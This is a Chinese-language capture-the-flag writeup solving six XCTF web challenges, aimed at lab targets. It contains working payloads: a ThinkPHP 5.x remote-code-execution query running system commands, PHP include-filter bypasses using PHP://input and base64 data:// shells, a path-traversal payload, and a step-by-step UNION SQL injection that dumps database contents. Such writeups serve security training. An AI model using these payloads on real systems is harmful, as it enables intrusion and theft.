XCTF攻防世界 Web高手进阶区 第一部分 writeup

XCTF攻防世界 Web高手进阶区 第一部分 writeup

  • baby_web
  • Training-WWW-Robots
  • php_rce
  • Web_php_include
  • warmup
  • NewsCenter

baby_web

难度系数:1.0
题目来源: 暂无
题目描述:想想初始页面是哪个

启动场景:
在这里插入图片描述

http://111.198.29.45:45285/1.php

可以看到进入的页面是1.php,提示为初始页面,尝试访问index.php:
很快跳转回了1.php,尝试使用Burpsuite抓取数据包:
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第1张图片
Send to Repeater后将1.php修改为index.php
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第2张图片
发送数据包,在Response返回头中得到flag
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第3张图片

Training-WWW-Robots

难度系数: 1.0
题目来源: 暂无
题目描述:暂无

启动场景:
在这里插入图片描述
提示我们需要检查robots.txt,访问:xxx/robots.txt
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第4张图片
可以看到有/fl0g.php页面,访问得到flag
在这里插入图片描述

php_rce

难度系数: 2.0
题目来源: 暂无
题目描述:暂无

启动靶机,打开环境:
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第5张图片
提示使用了ThinkPHP 5.0版本的框架,查找此版本的rce漏洞:
ThinkPHP5.x rec 漏洞分析与复现
原理参考这篇文章,直接进行payload利用:

?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

原payload执行了dir命令,及列出当前目录下文件:
在这里插入图片描述
执行成功,可以利用该漏洞,将dir修改为:

=find / -name "flag"

在这里插入图片描述
查找到了flag的目录,使用cat命令打开:

=cat /flag

在这里插入图片描述
得到flag

Web_php_include

难度系数: 2.0
题目来源: XTCTF
题目描述:暂无

启动靶机,打开环境:
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第6张图片
给出一段源码,分析代码:

  1. 通过GET方式传入两个变量hellopage
  2. 直接打印hello的内容
  3. strstr()函数php://$page中的第一次出现,并返回字符串的剩余部分
  4. str_replace()函数将变量$page中的php://替换为空

方法一
使用大写的方式绕过字符串置换:

?page=PHP://input
 system("ls");?>

使用Google Chrome的插件HackBar传递参数:
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第7张图片
在这里插入图片描述
可以得到四个文件,查看fl4gisisish3r3.php文件:

 system("cat fl4gisisish3r3.php");?>

查看网页源码:
在这里插入图片描述
得到flag

方法二
data://伪协议执行命令:
使用方法data://text/plain;base64,xxxx(base64编码后的数据)
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第8张图片

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第9张图片

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源码得到flag

warmup

难度系数:2.0
题目来源: HCTF 2018
题目描述:暂无

启动靶机,打开环境:
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第10张图片
参考之前的writeup
BUUCTF [HCTF 2018] WarmUp Web writeup
构造最终payload

http://111.198.29.45:59255/source.php?file=source.php?../../../../../ffffllllaaaagggg

在这里插入图片描述
得到flag

NewsCenter

难度系数: 2.0
题目来源: XCTF 4th-QCTF-2018
题目描述:如题目环境报错,稍等片刻刷新即可

启动环境:
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第11张图片
检查其搜索功能的源码:
在这里插入图片描述
其为POST方式传参,尝试SQL注入

' or '1'='1

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第12张图片
得到的回显正常,判断其字段数:

' order by 3#

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第13张图片
当尝试其字段数为4时,页面报错:
XCTF攻防世界 Web高手进阶区 第一部分 writeup_第14张图片
判断其字段数为3,查看回显位置:

111' union select 1,2,3#

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第15张图片
23为回显位,获取当前数据库名及版本:

111' union select 1,database(),version()#

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第16张图片
得到当前数据库名为:news,版本为:5.5.61,获取所有数据库名:

111' union select 1,2,group_concat(schema_name) from information_schema.schemata#

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第17张图片
只有两个数据库,查询news数据库中的表信息:

111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第18张图片
查看secret_table表中的列信息:

111' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="secret_table"#

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第19张图片
得到两个列名:idfl4g,查看fl4g中的信息:

111' union select 1,2,group_concat(fl4g) from news.secret_table#

XCTF攻防世界 Web高手进阶区 第一部分 writeup_第20张图片
得到flag

你可能感兴趣的:(xctf攻防世界,writeup)